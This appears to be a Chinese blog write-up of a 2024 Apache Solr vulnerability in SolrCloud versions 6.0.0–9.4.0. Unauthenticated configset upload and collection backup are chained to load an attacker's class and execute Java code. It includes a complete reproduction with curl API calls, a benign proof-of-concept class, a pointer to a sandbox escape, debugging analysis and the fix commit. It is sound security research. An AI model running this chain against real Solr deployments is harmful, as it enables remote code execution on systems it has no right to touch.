Apache Solr在创建Collection时会以一个特定的目录作为classpath,从中加载一些类,而Collection的备份功能可以导出攻击者上传的恶意class文件到该目录,从而让Solr加载自定义class,造成任意Java代码执行,可以进一步绕过Solr配置的Java沙箱,最终造成任意命令执行。
该漏洞于24年2月8号公开,影响范围:
Apache Solr 6.0.0 through 8.11.2
Apache Solr 9.0.0 before 9.4.1
SolrCloud模式
01环境搭建
docker run --rm -ti --name solr9.0.0 -p 8983:8983 -p 5005:5005 solr:9.0.0 bash
启动并进入solr容器
solr start -c -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"
以SolrCloud模式启动Solr,并附加Java调试参数

02漏洞复现
准备Solr默认配置文件
先以root权限进入Solr容器,打包默认的配置文件并复制出来,当然也可以从Solr源码中获得:
docker exec -ti -uroot solr9.0.0 bash
cd /opt/solr-9.0.0/server/solr/configsets/_default
tar cf conf.tar conf/
exit
docker cp solr9.0.0:/opt/solr-9.0.0/server/solr/configsets/_default/conf.tar ~/Desktop/test/
tar xf conf.tar

编译恶意class
编译一个包名为zk_backup_0.configs.conf1的Java类(容器内的Java版本为17,注意版本兼容问题)
package zk_backup_0.configs.conf1;
import java.io.File;
public class Exp {
static {
try {
new File("/tmp/success").createNewFile();
}catch (Exception e) {
e.printStackTrace();
}
}
}
上传配置文件conf1
将恶意class放入配置文件目录中,并打包上传到Solr,命名为conf1
mv zk_backup_0/configs/conf1/Exp.class conf/
cd conf
zip -q -r conf1.zip *
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf1.zip "http://127.0.0.1:8983/solr/admin/configs?
action=UPLOAD&name=conf1"

用conf1创建collection1
用上一步上传的配置conf1去创建一个Collection,名为collection1
curl "http://127.0.0.1:8983/solr/admin/collections?
action=CREATE&name=collection1&numShards=1&replicationF
actor=1&wt=json&collection.configName=conf1"

备份collection1,导出conf1
通过备份功能可以将collection1导出,其中包括创建collection1时用的配置文件,也就是conf1,从而恶意class也随之导出。
以下API中location为要导出的路径,/var/solr/data/是SOLR_HOME的路径。name为导出的名字,其实也就相当于路径的一部分
curl "http://127.0.0.1:8983/solr/admin/collections?
action=BACKUP&collection=collection1&location=/var/solr/data/
&name=collection2_shard1_replica_n1"

响应完成后,collection1被导出到了/var/solr/data/collection2_shard1_replica_n1

而它对应的配置被导出到了/var/solr/data/collection2_shard1_replica_n1/collection1/zk_backup_0/configs/

通过备份的接口再次导出collection1,注意location和name都有变化:
curl "http://127.0.0.1:8983/solr/admin/collections?
action=BACKUP&collection=collection1&location=/var/solr/data/c
ollection2_shard1_replica_n1&name=lib"

这次导出后,会发现我们的class最终在/var/solr/data/collection2_shard1_replica_n1/lib/collection1/zk_backup_0/configs/conf1

目录结构zk_backup_0/configs/conf1与包名zk_backup_0.configs.conf1恰好对应
上传配置文件conf2
默认配置的solrconfig.xml文件有个valueSourceParser标签

取消其注释,并修改为
<valueSourceParser name="myfunc"
class="zk_backup_0.configs.conf1.Exp" />

打包上传,命名为conf2
rm Exp.class conf1.zip
zip -q -r conf2.zip *
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf2.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf2"

用conf2创建collection2
curl "http://127.0.0.1:8983/solr/admin/collections?
action=CREATE&name=collection2&numShards=1&replicationF
actor=1&wt=json&collection.configName=conf2"
Collection创建过程中会将SOLR_HOME/collection2_shard1_replica_n1/lib/下的jar包或者一级子目录作为URLClassLoader的urls。并且会加载solrconfig.xml中配置的类,从而导致zk_backup_0.configs.conf1.Exp类的静态代码被执行


03绕过沙箱
其实在Solr中通过这种方式执行Java代码是会受沙箱限制的,这也是为什么我用了new File("/tmp/success").createNewFile();创建文件来演示漏洞而非命令执行。
绕过也比较容易,参考:
https://www.mi1k7ea.com/2020/05/03/%E6%B5%85%E6%9E%90Java%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/#%E5%88%9B%E5%BB%BAClassLoader%E7%BB%95%E8%BF%87
删除创建的配置和Collection
curl
“http://127.0.0.1:8983/solr/admin/collections?action=DELETE&name=collection1”
curl
“http://127.0.0.1:8983/solr/admin/configs?action=DELETE&name=conf1”
curl
“http://127.0.0.1:8983/solr/admin/configs?action=DELETE&name=conf2”
04漏洞分析
漏洞复现过程尽管很复杂,但漏洞关键其实就几点
- Solr在创建Collection时会加载配置文件中设置的Java类,而classpath是一个特定的目录
- 备份Collection时会导出一系列配置文件,而这些文件由用户上传
- 备份导出的路径在一定程度上可控
- 所用到的api接口默认情况下均可未授权访问
05挖掘思路
挖掘Solr前,我的目的很明确,只关注RCE漏洞,然后去大概了解了一下Solr的用途和历史漏洞。有一篇Solr的总结很全面:https://paper.seebug.org/1515/
分析完历史漏洞后,感觉Solr最大的问题是默认情况下很多敏感的接口都是未授权可访问,我觉得这也是挖掘新洞的一个着手点。
其中关于配置集,和Collection管理的api尤其受关注。因为创建Collection时可以指定某个配置,而这些配置又由用户上传,配置中某些配置项又必然影响某些代码逻辑。
https://solr.apache.org/guide/solr/9_0/configuration-guide/configsets-api.html
https://solr.apache.org/guide/solr/9_0/deployment-guide/collection-management.html
06调试分析
加载lib
在org.apache.solr.handler.admin.CollectionsHandler#handleRequestBody打断点,然后发起如下请求:
curl "http://127.0.0.1:8983/solr/admin/collections?
action=CREATE&name=test_collection&numShards=1&replicati
onFactor=1&wt=json&collection.configName=_default"
这里就是Collection相关请求的入口

然后到 org.apache.solr.core.SolrConfig#initLibs

这里的libPath即/var/solr/data/test_collection_shard1_replica_n1/lib,此路径如果存在的话,就会用这个路径下的Jar包和一级子目录作为urls创建URLClassLoader,该URLClassLoader对象储存在org.apache.solr.core.SolrResourceLoader#classLoader。
(可以手动在这个目录下创建lib,观察一下代码逻辑):


后续读取配置文件中的类并加载的代码就不再跟了。
写入lib
后面的挖掘方向就是如何在/var/solr/data/test_collection_shard1_replica_n1/lib目录下写入所需文件,这是这个漏洞另一个关键的地方。
回到备份Collection的api:
http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/&name=dirname
这个api调用示例的是将collection1导出到/var/solr/data/路径下的dirname目录,要求location这个目录必须提前存在,然后我们借由配置文件上传的可控的文件在更深的路径,即/var/solr/data/dirname/collection1/zk_backup_0/configs/conf1/
我一开始想往/var/solr/data/test_collection_shard1_replica_n1/lib/写入一个Jar包,也尝试目录穿越等等方法,发现确实无法做到。只能在libPath的子子子子目录写入可控文件,也就是/var/solr/data/test_collection_shard1_replica_n1/lib/collection1/zk_backup_0/configs/conf1/,当然把Jar包写在这里是不能被识别的。
后来想到Java的类结构,不也是包名/包名/包名/类名.class,刚好抵消这里多出来的子目录,所以就有了前文复现流程中的奇怪的包名。
07漏洞修复
https://github.com/apache/solr/commit/28d6b0163316376ef3b5429b3554c5041b47b5be
增加了备份导出时的文件类型黑名单


1049

被折叠的 条评论
为什么被折叠?



